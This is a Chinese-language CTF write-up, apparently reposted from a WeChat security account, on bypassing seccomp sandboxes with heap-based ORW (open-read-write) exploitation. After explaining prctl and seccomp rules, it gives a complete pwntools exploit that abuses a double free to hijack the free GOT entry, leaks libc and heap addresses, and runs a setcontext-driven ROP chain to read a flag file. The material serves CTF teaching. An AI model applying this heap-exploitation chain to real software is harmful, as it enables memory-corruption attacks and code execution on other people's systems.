点击上方蓝字关注我们~
简介
沙盒机制
prctl函数
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4,unsigned long arg5);
如果arg2为SECCOMP_MODE_FILTER(2),则为过滤模式,其中对syscall的限制通过参数3的结构体,来自定义过滤规则。
总结起来,就是prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是 system 和 onegadget 都没了,而 prctl(22,2) 表示设置沙箱规则,从而可以实现改变函数的系统调用。
seccomp库函数
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
首先调用seccomp_init(arg)对结构体进行初始化,
若参数arg为SCMP_ACT_ALLOW(0x7fff0000U),则为黑名单模式,没有匹配到规则的系统调用将被默认允许。
若参数为SCMP_ACT_KILL(0x00000000U),则为白名单模式,没有匹配到规则的系统调用都会杀死进程,默认不允许所有的syscall。
例题
完整exp
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
elf=ELF('pwn')
libc=ELF('/home/zzq/libc6_2.23-0ubuntu11.2_amd64.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
p=process('./pwn',env={'LD_PRELOAD':'./libc6_2.23-0ubuntu11.2_amd64.so'})
def add(id,size,data):
p.recvuntil('Your Choice>> ')
p.sendline('1')
p.recvuntil('index>> ')
p.sendline(str(id))
p.recvuntil('size>> ')
p.sendline(str(size))
p.recvuntil('name>> ')
p.send(str(data))
def edit(id,data):
p.recvuntil('Your Choice>> ')
p.sendline('3')
p.recvuntil('index>> ')
p.sendline(str(id))
p.recvuntil('name>> ')
p.send(str(data))
def delete(id):
p.recvuntil('Your Choice>> ')
p.sendline('2')
p.recvuntil('index>> ')
p.sendline(str(id))
add(0,0x68,'aaaaaa')
add(1,0x68,'aaaaaa')
add(4,0x98,'aaaaaa')
add(5,0x98,'aaaaaa')
add(6,0x108,'a')
add(7,0x48,'aaaaaa')
add(8,0x48,'aaaaaa')
add(9,0x98,'aa')
add(10,0x200,'./flagx00')
delete(4)
delete(0)
delete(1)
delete(0)
add(2,0x68,'aaaaaa')
add(3,0x18,'aaaaaa')
gdb.attach(p,'b *0x00007ffff7a54b85')
raw_input()
delete(7)
delete(8)
edit(3,p64(elf.got['free'])*2)
edit(0,p64(elf.plt['printf']))
delete(4)
leak=u64(p.recv(6).ljust(8,'x00'))
print hex(leak)
libcbase=leak-(0x7ffff7dd1b78-0x00007ffff7a0d000)
print hex(libcbase)
free=libcbase+libc.sym['__free_hook']
setcon=libcbase+0x47B85
delete(8)
leak=u64(p.recv(3).ljust(8,'x00'))
print hex(leak)
heap=leak-(0x603380-0x0000000000603000)-0x70
add=heap+(0x00000000006032d8-0x0000000000603000)
flag=heap+(0x00000000006035a0-0x0000000000603000)
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
poprdi=0x0000000000400dd3
poprsi=libcbase+0x00000000000202f8
poprdx=libcbase+0x0000000000001b92
payload=p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write)
edit(6,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi))
print hex(heap)
edit(3,p64(elf.got['free'])*2)
edit(0,p64(setcon))
delete(6)
p.interactive()
原文始发于微信公众号(SAINTSEC):浅析CTF中PWN题堆类型的ORW技术
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论